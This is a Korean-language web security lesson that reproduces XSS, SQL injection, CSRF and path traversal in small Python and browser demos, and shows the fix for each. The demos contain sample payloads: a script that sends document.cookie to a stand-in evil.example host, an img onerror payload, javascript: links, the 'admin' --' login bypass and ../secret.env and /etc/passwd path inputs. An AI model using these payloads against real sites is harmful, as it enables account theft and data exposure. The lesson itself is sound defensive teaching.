웹 취약점의 기본: XSS, SQL 인젝션, CSRF
웹 서비스를 노리는 대표적인 공격들을 직접 재현하고 막는 법을 정리해요. 댓글 하나로 남의 페이지에 스크립트를 심는 XSS를 파이썬과 실제 크롬에서 확인하고, innerHTML이 script는 실행하지 않아도 img의 onerror는 실행한다는 함정, javascript로 시작하는 링크 주소까지 막아요. 따옴표와 주석 기호로 비밀번호 확인을 건너뛰는 SQL 인젝션, 수상한 사이트가 내 이름으로 몰래 송금을 보내는 CSRF와 SameSite 쿠키와 토큰, 파일 이름에 ../를 넣어 폴더 밖을 여는 경로 조작까지 다뤄요.
지금까지 여러 강의에서 공격 이야기를 조금씩 만났어요. 이번 강의에서는 웹 서비스가 가장 자주 당하는 공격들을 한자리에 모아, 직접 재현해 보고 막는 법을 정리해요. 공통점은 하나예요. 사용자가 보낸 값이 "값"으로 머물지 않고, 명령의 일부가 되는 순간 공격이 성공해요. HTML의 일부가 되면 XSS, SQL의 일부가 되면 SQL 인젝션, 파일 경로의 일부가 되면 경로 조작이에요.
앞 강의에서 말했듯이, 이 공격들은 내 컴퓨터와 내가 만든 서비스에서만 시험해요.
XSS: 남의 페이지에 스크립트 심기
게시판의 댓글을 그대로 HTML에 끼워 넣으면, 댓글 속 태그가 진짜 태그가 돼요. 그 페이지를 보는 모든 사람의 브라우저에서 공격자의 스크립트가 돌아가요. 이걸 XSS(Cross-Site Scripting)라고 해요.
import html
from urllib.parse import urlsplit
from bs4 import BeautifulSoup
comments = [
"배송이 빨라요!",
'<script>fetch("https://evil.example/steal?c=" + document.cookie)</script>',
'<img src="x" onerror="alert(1)">',
]
def render_unsafe(items):
return "<ul>" + "".join(f"<li>{c}</li>" for c in items) + "</ul>"
def render_safe(items):
return "<ul>" + "".join(f"<li>{html.escape(c)}</li>" for c in items) + "</ul>"
def dangerous_parts(page):
soup = BeautifulSoup(page, "html.parser")
scripts = len(soup.find_all("script"))
handlers = [attr for tag in soup.find_all(True) for attr in tag.attrs if attr.startswith("on")]
return scripts, handlers
print("그대로 끼워 넣으면: 스크립트 %d개, 이벤트 속성 %s" % dangerous_parts(render_unsafe(comments)))
print("바꿔 적으면: 스크립트 %d개, 이벤트 속성 %s" % dangerous_parts(render_safe(comments)))
print(render_safe(comments[2:]))
def safe_link(url): # 링크 주소는 http와 https만 받아요
return url if urlsplit(url).scheme in ("http", "https") else "#"
for url in ("https://example.com/profile", "javascript:alert(document.cookie)", "JaVaScRiPt:alert(1)"):
print(f"{url} → {safe_link(url)}")
그대로 끼워 넣으면: 스크립트 1개, 이벤트 속성 ['onerror']
바꿔 적으면: 스크립트 0개, 이벤트 속성 []
<ul><li><img src="x" onerror="alert(1)"></li></ul>
https://example.com/profile → https://example.com/profile
javascript:alert(document.cookie) → #
JaVaScRiPt:alert(1) → #
- 그대로 끼워 넣은 페이지에는 진짜
<script>와 진짜onerror속성이 생겼어요. 둘째 댓글의 스크립트는 페이지를 연 사람의 쿠키를 공격자의 서버로 보내요. 로그인 쿠키라면 계정을 빼앗기는 거예요. html.escape로 바꿔 적으면<가<가 되어 태그가 아니라 글자로 보여요. HTML 강의에서 본 그 방법이에요.- 링크 주소는 따로 조심해요.
<a href="javascript:...">는 태그를 바꿔 적어도, 누르는 순간 스크립트가 돌아요. 사용자가 입력한 주소는http와https만 받고 나머지는 막아요. 대소문자를 섞어 써도(JaVaScRiPt)urlsplit이 스킴을 소문자로 바꿔 주니 함께 걸러져요.
브라우저에서 직접 확인하기
자바스크립트로 화면을 바꿀 때도 같은 일이 생겨요. 웹 개발 트랙에서 "사용자 입력은 innerHTML이 아니라 textContent로"라고 했죠. 실제 크롬에서 확인해 볼게요. 아무 페이지나 열고 콘솔에 붙여 넣어 보세요.
window.hacked = [];
const evil = `<img src="x" onerror="window.hacked.push('img의 onerror가 실행됐어요')">`;
const evilScript = `<script>window.hacked.push('script가 실행됐어요')<\/script>`;
const box1 = document.createElement("div");
box1.innerHTML = evilScript;
document.body.append(box1);
const box2 = document.createElement("div");
box2.innerHTML = evil;
document.body.append(box2);
await new Promise((r) => setTimeout(r, 300));
console.log("innerHTML:", JSON.stringify(window.hacked));
window.hacked = [];
const box3 = document.createElement("div");
box3.textContent = evil;
document.body.append(box3);
await new Promise((r) => setTimeout(r, 300));
console.log("textContent:", JSON.stringify(window.hacked), "| 화면에는 글자로:", box3.textContent.slice(0, 22));
innerHTML: ["img의 onerror가 실행됐어요"]
textContent: [] | 화면에는 글자로: <img src="x" onerror="
흥미로운 결과예요. innerHTML로 넣은 <script>는 실행되지 않았어요. 브라우저가 그렇게 정해 두었거든요. 그래서 "innerHTML은 스크립트를 안 돌리니 괜찮다"고 착각하기 쉬워요. 하지만 <img src="x" onerror="...">는 그림을 불러오다 실패하는 순간 onerror가 실행됐어요. 공격자는 <script> 대신 이런 이벤트 속성을 써요. textContent로 넣으면 아무것도 실행되지 않고 글자로만 보여요.
XSS를 막는 겹들
- 출력할 때 바꿔 적어요. 서버에서 HTML을 만들 때는 템플릿 엔진의 자동 바꿔 적기(파이썬의 Jinja2, Django 템플릿)를 켜 두고, 브라우저에서는
textContent를 써요. React도{값}으로 넣으면 알아서 바꿔 적어요. 이름부터 무서운dangerouslySetInnerHTML은 꼭 필요할 때만 써요. - HTML을 받아야 한다면 걸러요. 글 편집기처럼 굵은 글씨나 링크를 허락해야 한다면, 허락할 태그와 속성만 남기는 검증된 도구(DOMPurify 등)로 걸러요. 직접 정규식으로 거르면 반드시 빈틈이 생겨요.
- CSP를 걸어요.
Content-Security-Policy헤더로 "이 페이지는 우리 사이트의 스크립트만 실행한다"고 브라우저에 알려 두면, 스크립트가 심어지더라도 실행되지 않게 막을 수 있어요. 개발자 도구 Network 탭에서 자주 가는 사이트의 응답 헤더를 보면 CSP가 붙어 있는 곳이 많아요. - 쿠키에
HttpOnly를 붙여요. 스크립트가 돌더라도 로그인 쿠키는 읽지 못해요.
SQL 인젝션: 질문을 바꿔치기
SQL 기초 강의에서 따옴표 하나로 모든 고객의 전화번호가 새는 걸 봤어요. 로그인에서는 더 큰일이 나요.
import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE users (id INTEGER PRIMARY KEY, login TEXT, pw_hash TEXT, is_admin INTEGER)")
db.execute("INSERT INTO users (login, pw_hash, is_admin) VALUES ('admin', 'pbkdf2$...진짜해시...', 1)")
def login_unsafe(login, pw_hash):
sql = f"SELECT login, is_admin FROM users WHERE login = '{login}' AND pw_hash = '{pw_hash}'"
return db.execute(sql).fetchone()
def login_safe(login, pw_hash):
return db.execute("SELECT login, is_admin FROM users WHERE login = ? AND pw_hash = ?", (login, pw_hash)).fetchone()
attack = "admin' --" # 뒤의 비밀번호 조건을 주석으로 지워요
print("문자열로 이어 붙이면:", login_unsafe(attack, "아무거나"))
print("값을 따로 넘기면:", login_safe(attack, "아무거나"))
문자열로 이어 붙이면: ('admin', 1)
값을 따로 넘기면: None
아이디 칸에 admin' --를 넣었더니, 만들어진 SQL은 WHERE login = 'admin' --' AND pw_hash = ...가 됐어요. --는 SQL의 주석이라 그 뒤의 비밀번호 확인이 통째로 사라졌고, 비밀번호 없이 관리자로 로그인됐어요. 값을 ?로 따로 넘기면 데이터베이스가 admin' -- 전체를 그냥 아이디 글자로 보니 그런 사람은 없어요.
- 언제나 값은 따로 넘겨요. ORM(파이썬 객체로 데이터베이스를 다루는 도구)도 기본으로 이렇게 해요. ORM을 쓰면서도 문자열로 SQL을 이어 붙이는 "원래 SQL 실행" 기능을 쓰면 다시 위험해져요.
- 값이 아닌 부분은 허락 목록으로. 정렬할 칸 이름처럼
?로 넘길 수 없는 부분은, 미리 정한 이름 목록({"price", "name"})에 있는지 확인해서만 써요. - 데이터베이스 계정의 권한을 좁혀요. 앱의 계정이 표를 지울 권한이 없다면, 주입이 성공해도 피해가 줄어요.
CSRF: 내 이름으로 몰래 보내는 요청
은행 사이트에 로그인한 채로 다른 탭에서 수상한 사이트를 열었다고 해 볼게요. 그 사이트에는 은행으로 송금을 보내는 양식이 숨겨져 있고, 페이지가 열리자마자 몰래 제출돼요. 브라우저가 은행 쿠키를 그 요청에 실어 보내면, 은행은 내가 보낸 송금으로 알아요. 이게 CSRF(Cross-Site Request Forgery)예요. 브라우저가 쿠키를 싣는 규칙을 흉내 내서 재현해 볼게요.
import secrets
def browser_sends_cookie(cookie_samesite, request_from_other_site, method):
if not request_from_other_site:
return True
if cookie_samesite == "None": # 어디서 온 요청이든 실어요(Secure 필요)
return True
if cookie_samesite == "Lax": # 다른 사이트에서 온 건 링크 클릭(GET)만
return method == "GET"
return False # Strict: 다른 사이트에서 온 건 모두 안 실어요
def bank(transfer_request, check_token):
if not transfer_request["cookie"]:
return "거절: 로그인하지 않았어요"
if check_token and transfer_request.get("csrf_token") != SESSION_TOKEN:
return "거절: 이 사이트의 양식에서 온 요청이 아니에요"
return f"송금 완료: {transfer_request['amount']:,}원 → {transfer_request['to']}"
SESSION_TOKEN = secrets.token_urlsafe(16) # 로그인할 때 양식에 숨겨 두는 값
attack = {"to": "공격자", "amount": 1_000_000} # 수상한 사이트가 몰래 보내는 송금 양식
for samesite, check_token in (("None", False), ("Lax", False), ("None", True)):
req = dict(attack, cookie=browser_sends_cookie(samesite, True, "POST"))
print(f"쿠키 SameSite={samesite}, 토큰 확인={'예' if check_token else '아니요'}: {bank(req, check_token)}")
mine = dict(to="엄마", amount=50_000, cookie=browser_sends_cookie("Lax", False, "POST"), csrf_token=SESSION_TOKEN)
print("내가 은행 사이트에서 직접 보낼 때:", bank(mine, True))
쿠키 SameSite=None, 토큰 확인=아니요: 송금 완료: 1,000,000원 → 공격자
쿠키 SameSite=Lax, 토큰 확인=아니요: 거절: 로그인하지 않았어요
쿠키 SameSite=None, 토큰 확인=예: 거절: 이 사이트의 양식에서 온 요청이 아니에요
내가 은행 사이트에서 직접 보낼 때: 송금 완료: 50,000원 → 엄마
- 쿠키가 어디서 온 요청에나 실리면(
SameSite=None) 수상한 사이트의 송금이 그대로 성공해요. - **
SameSite=Lax**면 다른 사이트에서 시작된 POST 요청에는 쿠키를 싣지 않아서, 은행은 로그인하지 않은 요청으로 보고 거절해요. 요즘 크롬은SameSite를 적지 않은 쿠키를Lax로 다뤄서 많은 CSRF가 기본으로 막혀요. 그래도 브라우저마다 다르고 예외도 있으니 직접 적어 두는 게 좋아요. - CSRF 토큰은 두 번째 방어선이에요. 은행은 자기 페이지의 송금 양식에만 짐작할 수 없는 값을 숨겨 두고, 그 값이 있는 요청만 받아요. 수상한 사이트는 은행 페이지의 내용을 읽을 수 없어서(웹 개발 트랙의 CORS 강의) 이 값을 알 수 없어요.
- 그 밖에 요청의
Origin헤더가 우리 사이트인지 확인하고, 상태를 바꾸는 일은 GET이 아니라 POST로만 받아요(HTTP 강의의 "안전한 메서드").
경로 조작: 폴더 밖의 파일 열기
사용자가 고른 파일 이름으로 파일을 여는 기능이 있다고 해 볼게요. 파일 이름에 ../를 넣으면 어떻게 될까요?
import pathlib
import tempfile
base = pathlib.Path(tempfile.mkdtemp()) / "uploads"
base.mkdir()
(base / "cat.jpg").write_text("고양이 사진")
(base.parent / "secret.env").write_text("DB_PASSWORD=...")
def read_unsafe(name):
return (base / name).read_text()
def read_safe(name):
target = (base / name).resolve()
if not target.is_relative_to(base.resolve()): # 업로드 폴더 밖이면 거절
return "거절: 허락된 폴더 밖의 파일이에요"
return target.read_text()
print("cat.jpg:", read_safe("cat.jpg"))
print("../secret.env 를 그대로 열면:", read_unsafe("../secret.env"))
print("확인하고 열면:", read_safe("../secret.env"))
cat.jpg: 고양이 사진
../secret.env 를 그대로 열면: DB_PASSWORD=...
확인하고 열면: 거절: 허락된 폴더 밖의 파일이에요
../는 "한 단계 위 폴더"라서, 업로드 폴더 밖의 비밀 파일이 열렸어요. 막는 방법은 최종 경로를 끝까지 풀어 본 뒤(resolve) 허락된 폴더 안인지 확인하는 것이에요. ../라는 글자를 지우는 식으로 막으면 ....// 같은 변형에 뚫려요. 더 좋은 방법은 사용자에게 파일 이름 대신 번호를 받고, 서버가 번호로 실제 파일을 찾는 거예요. 업로드 파일의 이름도 서버가 새로 지어 저장해요.
더 알아 둘 것
웹 보안 단체 OWASP는 자주 일어나는 웹 취약점을 정리해 발표해요. 이번 트랙에서 다룬 것 말고도 이런 것들이 자주 꼽혀요.
- SSRF: "이 주소의 미리 보기를 가져와 줘" 같은 기능에 서버 내부 주소를 넣어, 바깥에서는 닿을 수 없는 내부 시스템을 서버가 대신 부르게 하는 공격이에요. 서버가 부를 수 있는 주소를 제한해요.
- 열린 리다이렉트:
?next=같은 값으로 아무 사이트로나 보내 주는 기능은 피싱에 악용돼요. 내 사이트 안의 경로만 허락해요. - 알려진 취약점이 있는 라이브러리: 내 코드가 완벽해도 쓰는 라이브러리에 구멍이 있으면 뚫려요. 의존성을 업데이트하고, 저장소의 보안 알림을 확인해요.
- 보안 설정 실수: 개발용 디버그 모드를 켠 채 배포하거나, 관리자 화면을 인터넷에 열어 두는 일이에요. 다음 강의의 서버 점검표에서 다뤄요.
실습
- XSS 예제의
render_safe를 속성 안에 값을 넣는 경우(<img alt="...">)로 바꿔 보고,html.escape가 따옴표까지 바꿔 적는지 확인해 보세요.quote=False로 하면 어떻게 되나요? safe_link에data:text/html,...주소를 넣어 보세요. 막히나요? 왜http와https만 허락하는 게 좋은가요?- SQL 예제에서 정렬 칸을 사용자에게 받는
list_users(order_by)함수를 허락 목록 방식으로 만들어 보세요. - CSRF 예제에
Strict를 더해 보세요. 다른 사이트의 링크를 눌러 은행에 들어왔을 때(GET) 로그인이 풀려 보이는 불편함이 왜 생기는지 설명해 보세요. - 경로 조작 예제에
"..\\secret.env"(윈도의 역슬래시)와"/etc/passwd"(절대 경로)를 넣어 보세요.read_safe가 막아 주나요?
자주 하는 실수
- 사용자 입력을 HTML에 그대로 끼워 넣는다. XSS예요. 출력할 때 바꿔 적어요.
innerHTML은 스크립트를 안 돌리니 안전하다고 생각한다. 이벤트 속성은 실행돼요.textContent를 써요.- 링크 주소를 검사하지 않는다.
javascript:주소가 들어와요. - 정규식으로 HTML을 걸러 낸다. 반드시 빈틈이 생겨요. 검증된 도구를 써요.
- SQL을 문자열로 이어 붙인다. 값은
?로 따로 넘기고, 칸 이름은 허락 목록으로 확인해요. - 로그인 쿠키에
SameSite를 정하지 않고, 송금 같은 요청에 토큰도 확인하지 않는다. 다른 사이트가 내 이름으로 요청을 보내요. ../를 글자로 지워서 막는다. 최종 경로를 풀어서 폴더 안인지 확인해요.
점검 문제
- XSS, SQL 인젝션, 경로 조작의 공통된 원인은?
- 댓글의
<script>가 다른 사람에게 위험한 이유는? innerHTML로 넣은<script>는 실행되지 않았는데, 왜 여전히 위험한가요?- 사용자가 입력한 링크 주소를
http와https만 허락하는 이유는? admin' --가 비밀번호 확인을 건너뛰게 한 원리는?- CSRF에서
SameSite=Lax쿠키가 수상한 사이트의 송금을 막는 이유는? - CSRF 토큰을 수상한 사이트가 알아낼 수 없는 이유는?
- 경로 조작을 막을 때
../를 지우는 것보다 최종 경로를 확인하는 게 나은 이유는?
정답
- 사용자가 보낸 값이 값으로 머물지 않고 HTML, SQL, 파일 경로 같은 명령의 일부가 되기 때문이에요.
- 그 댓글이 보이는 페이지를 여는 모든 사람의 브라우저에서 스크립트가 실행되어, 쿠키를 빼앗거나 그 사람인 척 요청을 보낼 수 있기 때문이에요.
<img onerror>같은 이벤트 속성은innerHTML로 넣어도 실행되기 때문이에요. 공격자는<script>대신 이런 방법을 써요.javascript:같은 주소는 태그를 바꿔 적어도 누르는 순간 스크립트를 실행하기 때문이에요. 허락할 것만 적으면 모르는 위험한 방식도 함께 막혀요.- 따옴표가 아이디 글자를 닫고,
--가 SQL의 주석이 되어 뒤에 오는 비밀번호 조건이 통째로 사라졌기 때문이에요. - 다른 사이트에서 시작된 POST 요청에는 브라우저가 쿠키를 싣지 않아서, 은행이 로그인하지 않은 요청으로 보고 거절하기 때문이에요.
- 토큰은 은행 페이지 안에만 들어 있는데, 다른 사이트는 브라우저의 출처 규칙(CORS) 때문에 은행 페이지의 내용을 읽을 수 없기 때문이에요.
- 글자를 지우는 방식은
....//같은 변형이나 다른 구분 기호에 뚫리지만, 최종 경로를 끝까지 풀어서 허락된 폴더 안인지 확인하면 어떤 변형이든 결과로 판단하기 때문이에요.
다음 강의
TLS 강의에서 암호화를 한 번 맛봤어요. 다음 강의에서는 대칭키 암호, 공개키 암호, 전자 서명, 해시를 한 번 더 깊이 정리하고, 실제로 쓸 때 지켜야 할 규칙들을 파이썬으로 확인해요.